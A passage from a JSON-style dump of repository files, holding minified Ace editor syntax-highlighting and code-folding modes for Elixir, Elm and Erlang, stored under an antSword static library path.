equivalent\",originalRegex:\"(?<!:)(:)(?>[a-zA-Z_][\\\\w@]*(?>[?!]|=(?![>=]))?|\\\\<\\\\>|===?|!==?|<<>>|<<<|>>>|~~~|::|<\\\\-|\\\\|>|=>|~|~=|=|/|\\\\\\\\\\\\\\\\|\\\\*\\\\*?|\\\\.\\\\.?\\\\.?|>=?|<=?|&&?&?|\\\\+\\\\+?|\\\\-\\\\-?|\\\\|\\\\|?\\\\|?|\\\\!|@|\\\\%?\\\\{\\\\}|%|\\\\[\\\\]|\\\\^(\\\\^\\\\^)?)\",comment:\"symbols\"},{token:\"punctuation.definition.constant.elixir\",regex:\"(?:[a-zA-Z_][\\\\w@]*(?:[?!])?):(?!:)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?>[a-zA-Z_][\\\\w@]*(?>[?!])?)(:)(?!:)\",comment:\"symbols\"},{token:[\"punctuation.definition.comment.elixir\",\"comment.line.number-sign.elixir\"],regex:\"(#)(.*)\"},{token:\"constant.numeric.elixir\",regex:\"\\\\?(?:\\\\\\\\(?:x[\\\\da-fA-F]{1,2}(?![\\\\da-fA-F])\\\\b|[^xMC])|[^\\\\s\\\\\\\\])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\w)\\\\?(\\\\\\\\(x\\\\h{1,2}(?!\\\\h)\\\\b|[^xMC])|[^\\\\s\\\\\\\\])\",comment:'\\n\t\t\tmatches questionmark-letters.\\n\\n\t\t\texamples (1st alternation = hex):\\n\t\t\t?\\\\x1     ?\\\\x61\\n\\n\t\t\texamples (2rd alternation = escaped):\\n\t\t\t?\\\\n      ?\\\\b\\n\\n\t\t\texamples (3rd alternation = normal):\\n\t\t\t?a       ?A       ?0 \\n\t\t\t?*       ?\"       ?( \\n\t\t\t?.       ?#\\n\t\t\t\\n\t\t\tthe negative lookbehind prevents against matching\\n\t\t\tp(42.tainted?)\\n\t\t\t'},{token:\"keyword.operator.assignment.augmented.elixir\",regex:\"\\\\+=|\\\\-=|\\\\|\\\\|=|~=|&&=\"},{token:\"keyword.operator.comparison.elixir\",regex:\"===?|!==?|<=?|>=?\"},{token:\"keyword.operator.bitwise.elixir\",regex:\"\\\\|{3}|&{3}|\\\\^{3}|<{3}|>{3}|~{3}\"},{token:\"keyword.operator.logical.elixir\",regex:\"!+|\\\\bnot\\\\b|&&|\\\\band\\\\b|\\\\|\\\\||\\\\bor\\\\b|\\\\bxor\\\\b\",originalRegex:\"(?<=[ \\\\t])!+|\\\\bnot\\\\b|&&|\\\\band\\\\b|\\\\|\\\\||\\\\bor\\\\b|\\\\bxor\\\\b\"},{token:\"keyword.operator.arithmetic.elixir\",regex:\"\\\\*|\\\\+|\\\\-|/\"},{token:\"keyword.operator.other.elixir\",regex:\"\\\\||\\\\+\\\\+|\\\\-\\\\-|\\\\*\\\\*|\\\\\\\\\\\\\\\\|\\\\<\\\\-|\\\\<\\\\>|\\\\<\\\\<|\\\\>\\\\>|\\\\:\\\\:|\\\\.\\\\.|\\\\|>|~|=>\"},{token:\"keyword.operator.assignment.elixir\",regex:\"=\"},{token:\"punctuation.separator.other.elixir\",regex:\":\"},{token:\"punctuation.separator.statement.elixir\",regex:\"\\\\;\"},{token:\"punctuation.separator.object.elixir\",regex:\",\"},{token:\"punctuation.separator.method.elixir\",regex:\"\\\\.\"},{token:\"punctuation.section.scope.elixir\",regex:\"\\\\{|\\\\}\"},{token:\"punctuation.section.array.elixir\",regex:\"\\\\[|\\\\]\"},{token:\"punctuation.section.function.elixir\",regex:\"\\\\(|\\\\)\"}],\"#escaped_char\":[{token:\"constant.character.escape.elixir\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{1,2}|.)\"}],\"#interpolated_elixir\":[{token:[\"source.elixir.embedded.source\",\"source.elixir.embedded.source.empty\"],regex:\"(#\\\\{)(\\\\})\"},{todo:{token:\"punctuation.section.embedded.elixir\",regex:\"#\\\\{\",push:[{token:\"punctuation.section.embedded.elixir\",regex:\"\\\\}\",next:\"pop\"},{include:\"#nest_curly_and_self\"},{include:\"$self\"},{defaultToken:\"source.elixir.embedded.source\"}]}}],\"#nest_curly_and_self\":[{token:\"punctuation.section.scope.elixir\",regex:\"\\\\{\",push:[{token:\"punctuation.section.scope.elixir\",regex:\"\\\\}\",next:\"pop\"},{include:\"#nest_curly_and_self\"}]},{include:\"$self\"}],\"#regex_sub\":[{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{token:[\"punctuation.definition.arbitrary-repitition.elixir\",\"string.regexp.arbitrary-repitition.elixir\",\"string.regexp.arbitrary-repitition.elixir\",\"punctuation.definition.arbitrary-repitition.elixir\"],regex:\"(\\\\{)(\\\\d+)((?:,\\\\d+)?)(\\\\})\"},{token:\"punctuation.definition.character-class.elixir\",regex:\"\\\\[(?:\\\\^?\\\\])?\",push:[{token:\"punctuation.definition.character-class.elixir\",regex:\"\\\\]\",next:\"pop\"},{include:\"#escaped_char\"},{defaultToken:\"string.regexp.character-class.elixir\"}]},{token:\"punctuation.definition.group.elixir\",regex:\"\\\\(\",push:[{token:\"punctuation.definition.group.elixir\",regex:\"\\\\)\",next:\"pop\"},{include:\"#regex_sub\"},{defaultToken:\"string.regexp.group.elixir\"}]},{token:[\"punctuation.definition.comment.elixir\",\"comment.line.number-sign.elixir\"],regex:\"(?:^|\\\\s)(#)(\\\\s[[a-zA-Z0-9,. \\\\t?!-][^\\\\x00-\\\\x7F]]*$)\",originalRegex:\"(?<=^|\\\\s)(#)\\\\s[[a-zA-Z0-9,. \\\\t?!-][^\\\\x{00}-\\\\x{7F}]]*$\",comment:\"We are restrictive in what we allow to go after the comment character to avoid false positives, since the availability of comments depend on regexp flags.\"}]},this.normalizeRules()};s.metaData={comment:\"Textmate bundle for Elixir Programming Language.\",fileTypes:[\"ex\",\"exs\"],firstLineMatch:\"^#!/.*\\\\belixir\",foldingStartMarker:\"(after|else|catch|rescue|\\\\-\\\\>|\\\\{|\\\\[|do)\\\\s*$\",foldingStopMarker:\"^\\\\s*((\\\\}|\\\\]|after|else|catch|rescue)\\\\s*$|end\\\\b)\",keyEquivalent:\"^~E\",name:\"Elixir\",scopeName:\"source.elixir\"},r.inherits(s,i),t.ElixirHighlightRules=s}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/elixir\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/elixir_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./elixir_highlight_rules\").ElixirHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/elixir\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-elm.js",
    "content": "ace.define(\"ace/mode/elm_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=this.createKeywordMapper({keyword:\"as|case|class|data|default|deriving|do|else|export|foreign|hiding|jsevent|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|open|then|type|where|_|port|\\u03bb\"},\"identifier\"),t=/\\\\(\\d+|['\"\\\\&trnbvf])/,n=/[a-z_]/.source,r=/[A-Z]/.source,i=/[a-z_A-Z0-9\\']/.source;this.$rules={start:[{token:\"string.start\",regex:'\"',next:\"string\"},{token:\"string.character\",regex:\"'(?:\"+t.source+\"|.)'?\"},{regex:/0(?:[xX][0-9A-Fa-f]+|[oO][0-7]+)|\\d+(\\.\\d+)?([eE][-+]?\\d*)?/,token:\"constant.numeric\"},{token:\"keyword\",regex:/\\.\\.|\\||:|=|\\\\|\\\"|->|<-|\\u2192/},{token:\"keyword.operator\",regex:/[-!#$%&*+.\\/<=>?@\\\\^|~:\\u03BB\\u2192]+/},{token:\"operator.punctuation\",regex:/[,;`]/},{regex:r+i+\"+\\\\.?\",token:function(e){return e[e.length-1]==\".\"?\"entity.name.function\":\"constant.language\"}},{regex:\"^\"+n+i+\"+\",token:function(e){return\"constant.language\"}},{token:e,regex:\"[\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]+\\\\b\"},{regex:\"{-#?\",token:\"comment.start\",onMatch:function(e,t,n){return this.next=e.length==2?\"blockComment\":\"docComment\",this.token}},{token:\"variable.language\",regex:/\\[markdown\\|/,next:\"markdown\"},{token:\"paren.lparen\",regex:/[\\[({]/},{token:\"paren.rparen\",regex:/[\\])}]/}],markdown:[{regex:/\\|\\]/,next:\"start\"},{defaultToken:\"string\"}],blockComment:[{regex:\"{-\",token:\"comment.start\",push:\"blockComment\"},{regex:\"-}\",token:\"comment.end\",next:\"pop\"},{defaultToken:\"comment\"}],docComment:[{regex:\"{-\",token:\"comment.start\",push:\"docComment\"},{regex:\"-}\",token:\"comment.end\",next:\"pop\"},{defaultToken:\"doc.comment\"}],string:[{token:\"constant.language.escape\",regex:t},{token:\"text\",regex:/\\\\(\\s|$)/,next:\"stringGap\"},{token:\"string.end\",regex:'\"',next:\"start\"}],stringGap:[{token:\"text\",regex:/\\\\/,next:\"string\"},{token:\"error\",regex:\"\",next:\"start\"}]},this.normalizeRules()};r.inherits(s,i),t.ElmHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/elm\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/elm_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./elm_highlight_rules\").ElmHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"{-\",end:\"-}\"},this.$id=\"ace/mode/elm\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-erlang.js",
    "content": "ace.define(\"ace/mode/erlang_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{include:\"#module-directive\"},{include:\"#import-export-directive\"},{include:\"#behaviour-directive\"},{include:\"#record-directive\"},{include:\"#define-directive\"},{include:\"#macro-directive\"},{include:\"#directive\"},{include:\"#function\"},{include:\"#everything-else\"}],\"#atom\":[{token:\"punctuation.definition.symbol.begin.erlang\",regex:\"'\",push:[{token:\"punctuation.definition.symbol.end.erlang\",regex:\"'\",next:\"pop\"},{token:[\"punctuation.definition.escape.erlang\",\"constant.other.symbol.escape.erlang\",\"punctuation.definition.escape.erlang\",\"constant.other.symbol.escape.erlang\",\"constant.other.symbol.escape.erlang\"],regex:\"(\\\\\\\\)(?:([bdefnrstv\\\\\\\\'\\\"])|(\\\\^)([@-_])|([0-7]{1,3}))\"},{token:\"invalid.illegal.atom.erlang\",regex:\"\\\\\\\\\\\\^?.?\"},{defaultToken:\"constant.other.symbol.quoted.single.erlang\"}]},{token:\"constant.other.symbol.unquoted.erlang\",regex:\"[a-z][a-zA-Z\\\\d@_]*\"}],\"#behaviour-directive\":[{token:[\"meta.directive.behaviour.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.behaviour.erlang\",\"keyword.control.directive.behaviour.erlang\",\"meta.directive.behaviour.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.behaviour.erlang\",\"entity.name.type.class.behaviour.definition.erlang\",\"meta.directive.behaviour.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.behaviour.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(behaviour)(\\\\s*)(\\\\()(\\\\s*)([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"}],\"#binary\":[{token:\"punctuation.definition.binary.begin.erlang\",regex:\"<<\",push:[{token:\"punctuation.definition.binary.end.erlang\",regex:\">>\",next:\"pop\"},{token:[\"punctuation.separator.binary.erlang\",\"punctuation.separator.value-size.erlang\"],regex:\"(,)|(:)\"},{include:\"#internal-type-specifiers\"},{include:\"#everything-else\"},{defaultToken:\"meta.structure.binary.erlang\"}]}],\"#character\":[{token:[\"punctuation.definition.character.erlang\",\"punctuation.definition.escape.erlang\",\"constant.character.escape.erlang\",\"punctuation.definition.escape.erlang\",\"constant.character.escape.erlang\",\"constant.character.escape.erlang\"],regex:\"(\\\\$)(\\\\\\\\)(?:([bdefnrstv\\\\\\\\'\\\"])|(\\\\^)([@-_])|([0-7]{1,3}))\"},{token:\"invalid.illegal.character.erlang\",regex:\"\\\\$\\\\\\\\\\\\^?.?\"},{token:[\"punctuation.definition.character.erlang\",\"constant.character.erlang\"],regex:\"(\\\\$)(\\\\S)\"},{token:\"invalid.illegal.character.erlang\",regex:\"\\\\$.?\"}],\"#comment\":[{token:\"punctuation.definition.comment.erlang\",regex:\"%.*$\",push_:[{token:\"comment.line.percentage.erlang\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.percentage.erlang\"}]}],\"#define-directive\":[{token:[\"meta.directive.define.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.define.erlang\",\"keyword.control.directive.define.erlang\",\"meta.directive.define.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.define.erlang\",\"entity.name.function.macro.definition.erlang\",\"meta.directive.define.erlang\",\"punctuation.separator.parameters.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(define)(\\\\s*)(\\\\()(\\\\s*)([a-zA-Z\\\\d@_]+)(\\\\s*)(,)\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.define.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#everything-else\"},{defaultToken:\"meta.directive.define.erlang\"}]},{token:\"meta.directive.define.erlang\",regex:\"(?=^\\\\s*-\\\\s*define\\\\s*\\\\(\\\\s*[a-zA-Z\\\\d@_]+\\\\s*\\\\()\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.define.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{token:[\"text\",\"punctuation.section.directive.begin.erlang\",\"text\",\"keyword.control.directive.define.erlang\",\"text\",\"punctuation.definition.parameters.begin.erlang\",\"text\",\"entity.name.function.macro.definition.erlang\",\"text\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(define)(\\\\s*)(\\\\()(\\\\s*)([a-zA-Z\\\\d@_]+)(\\\\s*)(\\\\()\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"text\",\"punctuation.separator.parameters.erlang\"],regex:\"(\\\\))(\\\\s*)(,)\",next:\"pop\"},{token:\"punctuation.separator.parameters.erlang\",regex:\",\"},{include:\"#everything-else\"}]},{token:\"punctuation.separator.define.erlang\",regex:\"\\\\|\\\\||\\\\||:|;|,|\\\\.|->\"},{include:\"#everything-else\"},{defaultToken:\"meta.directive.define.erlang\"}]}],\"#directive\":[{token:[\"meta.directive.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.erlang\",\"keyword.control.directive.erlang\",\"meta.directive.erlang\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(\\\\(?)\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\)?)(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#everything-else\"},{defaultToken:\"meta.directive.erlang\"}]},{token:[\"meta.directive.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.erlang\",\"keyword.control.directive.erlang\",\"meta.directive.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(\\\\.)\"}],\"#everything-else\":[{include:\"#comment\"},{include:\"#record-usage\"},{include:\"#macro-usage\"},{include:\"#expression\"},{include:\"#keyword\"},{include:\"#textual-operator\"},{include:\"#function-call\"},{include:\"#tuple\"},{include:\"#list\"},{include:\"#binary\"},{include:\"#parenthesized-expression\"},{include:\"#character\"},{include:\"#number\"},{include:\"#atom\"},{include:\"#string\"},{include:\"#symbolic-operator\"},{include:\"#variable\"}],\"#expression\":[{token:\"keyword.control.if.erlang\",regex:\"\\\\bif\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.if.erlang\"}]},{token:\"keyword.control.case.erlang\",regex:\"\\\\bcase\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.case.erlang\"}]},{token:\"keyword.control.receive.erlang\",regex:\"\\\\breceive\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.receive.erlang\"}]},{token:[\"keyword.control.fun.erlang\",\"text\",\"entity.name.type.class.module.erlang\",\"text\",\"punctuation.separator.module-function.erlang\",\"text\",\"entity.name.function.erlang\",\"text\",\"punctuation.separator.function-arity.erlang\"],regex:\"\\\\b(fun)(\\\\s*)(?:([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(:)(\\\\s*))?([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(/)\"},{token:\"keyword.control.fun.erlang\",regex:\"\\\\bfun\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{token:\"text\",regex:\"(?=\\\\()\",push:[{token:\"punctuation.separator.clauses.erlang\",regex:\";|(?=\\\\bend\\\\b)\",next:\"pop\"},{include:\"#internal-function-parts\"}]},{include:\"#everything-else\"},{defaultToken:\"meta.expression.fun.erlang\"}]},{token:\"keyword.control.try.erlang\",regex:\"\\\\btry\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.try.erlang\"}]},{token:\"keyword.control.begin.erlang\",regex:\"\\\\bbegin\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.begin.erlang\"}]},{token:\"keyword.control.query.erlang\",regex:\"\\\\bquery\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.query.erlang\"}]}],\"#function\":[{token:[\"meta.function.erlang\",\"entity.name.function.definition.erlang\",\"meta.function.erlang\"],regex:\"^(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(?=\\\\()\",push:[{token:\"punctuation.terminator.function.erlang\",regex:\"\\\\.\",next:\"pop\"},{token:[\"text\",\"entity.name.function.erlang\",\"text\"],regex:\"^(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(?=\\\\()\"},{token:\"text\",regex:\"(?=\\\\()\",push:[{token:\"punctuation.separator.clauses.erlang\",regex:\";|(?=\\\\.)\",next:\"pop\"},{include:\"#parenthesized-expression\"},{include:\"#internal-function-parts\"}]},{include:\"#everything-else\"},{defaultToken:\"meta.function.erlang\"}]}],\"#function-call\":[{token:\"meta.function-call.erlang\",regex:\"(?=(?:[a-z][a-zA-Z\\\\d@_]*|'[^']*')\\\\s*(?:\\\\(|:\\\\s*(?:[a-z][a-zA-Z\\\\d@_]*|'[^']*')\\\\s*\\\\())\",push:[{token:\"punctuation.definition.parameters.end.erlang\",regex:\"\\\\)\",next:\"pop\"},{token:[\"entity.name.type.class.module.erlang\",\"text\",\"punctuation.separator.module-function.erlang\",\"text\",\"entity.name.function.guard.erlang\",\"text\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"(?:(erlang)(\\\\s*)(:)(\\\\s*))?(is_atom|is_binary|is_constant|is_float|is_function|is_integer|is_list|is_number|is_pid|is_port|is_reference|is_tuple|is_record|abs|element|hd|length|node|round|self|size|tl|trunc)(\\\\s*)(\\\\()\",push:[{token:\"text\",regex:\"(?=\\\\))\",next:\"pop\"},{token:\"punctuation.separator.parameters.erlang\",regex:\",\"},{include:\"#everything-else\"}]},{token:[\"entity.name.type.class.module.erlang\",\"text\",\"punctuation.separator.module-function.erlang\",\"text\",\"entity.name.function.erlang\",\"text\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"(?:([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(:)(\\\\s*))?([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(\\\\()\",push:[{token:\"text\",regex:\"(?=\\\\))\",next:\"pop\"},{token:\"punctuation.separator.parameters.erlang\",regex:\",\"},{include:\"#everything-else\"}]},{defaultToken:\"meta.function-call.erlang\"}]}],\"#import-export-directive\":[{token:[\"meta.directive.import.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.import.erlang\",\"keyword.control.directive.import.erlang\",\"meta.directive.import.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.import.erlang\",\"entity.name.type.class.module.erlang\",\"meta.directive.import.erlang\",\"punctuation.separator.parameters.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(import)(\\\\s*)(\\\\()(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(,)\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.import.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#internal-function-list\"},{defaultToken:\"meta.directive.import.erlang\"}]},{token:[\"meta.directive.export.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.export.erlang\",\"keyword.control.directive.export.erlang\",\"meta.directive.export.erlang\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(export)(\\\\s*)(\\\\()\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.export.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#internal-function-list\"},{defaultToken:\"meta.directive.export.erlang\"}]}],\"#internal-expression-punctuation\":[{token:[\"punctuation.separator.clause-head-body.erlang\",\"punctuation.separator.clauses.erlang\",\"punctuation.separator.expressions.erlang\"],regex:\"(->)|(;)|(,)\"}],\"#internal-function-list\":[{token:\"punctuation.definition.list.begin.erlang\",regex:\"\\\\[\",push:[{token:\"punctuation.definition.list.end.erlang\",regex:\"\\\\]\",next:\"pop\"},{token:[\"entity.name.function.erlang\",\"text\",\"punctuation.separator.function-arity.erlang\"],regex:\"([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(/)\",push:[{token:\"punctuation.separator.list.erlang\",regex:\",|(?=\\\\])\",next:\"pop\"},{include:\"#everything-else\"}]},{include:\"#everything-else\"},{defaultToken:\"meta.structure.list.function.erlang\"}]}],\"#internal-function-parts\":[{token:\"text\",regex:\"(?=\\\\()\",push:[{token:\"punctuation.separator.clause-head-body.erlang\",regex:\"->\",next:\"pop\"},{token:\"punctuation.definition.parameters.begin.erlang\",regex:\"\\\\(\",push:[{token:\"punctuation.definition.parameters.end.erlang\",regex:\"\\\\)\",next:\"pop\"},{token:\"punctuation.separator.parameters.erlang\",regex:\",\"},{include:\"#everything-else\"}]},{token:\"punctuation.separator.guards.erlang\",regex:\",|;\"},{include:\"#everything-else\"}]},{token:\"punctuation.separator.expressions.erlang\",regex:\",\"},{include:\"#everything-else\"}],\"#internal-record-body\":[{token:\"punctuation.definition.class.record.begin.erlang\",regex:\"\\\\{\",push:[{token:\"meta.structure.record.erlang\",regex:\"(?=\\\\})\",next:\"pop\"},{token:[\"variable.other.field.erlang\",\"variable.language.omitted.field.erlang\",\"text\",\"keyword.operator.assignment.erlang\"],regex:\"(?:([a-z][a-zA-Z\\\\d@_]*|'[^']*')|(_))(\\\\s*)(=|::)\",push:[{token:\"punctuation.separator.class.record.erlang\",regex:\",|(?=\\\\})\",next:\"pop\"},{include:\"#everything-else\"}]},{token:[\"variable.other.field.erlang\",\"text\",\"punctuation.separator.class.record.erlang\"],regex:\"([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)((?:,)?)\"},{include:\"#everything-else\"},{defaultToken:\"meta.structure.record.erlang\"}]}],\"#internal-type-specifiers\":[{token:\"punctuation.separator.value-type.erlang\",regex:\"/\",push:[{token:\"text\",regex:\"(?=,|:|>>)\",next:\"pop\"},{token:[\"storage.type.erlang\",\"storage.modifier.signednes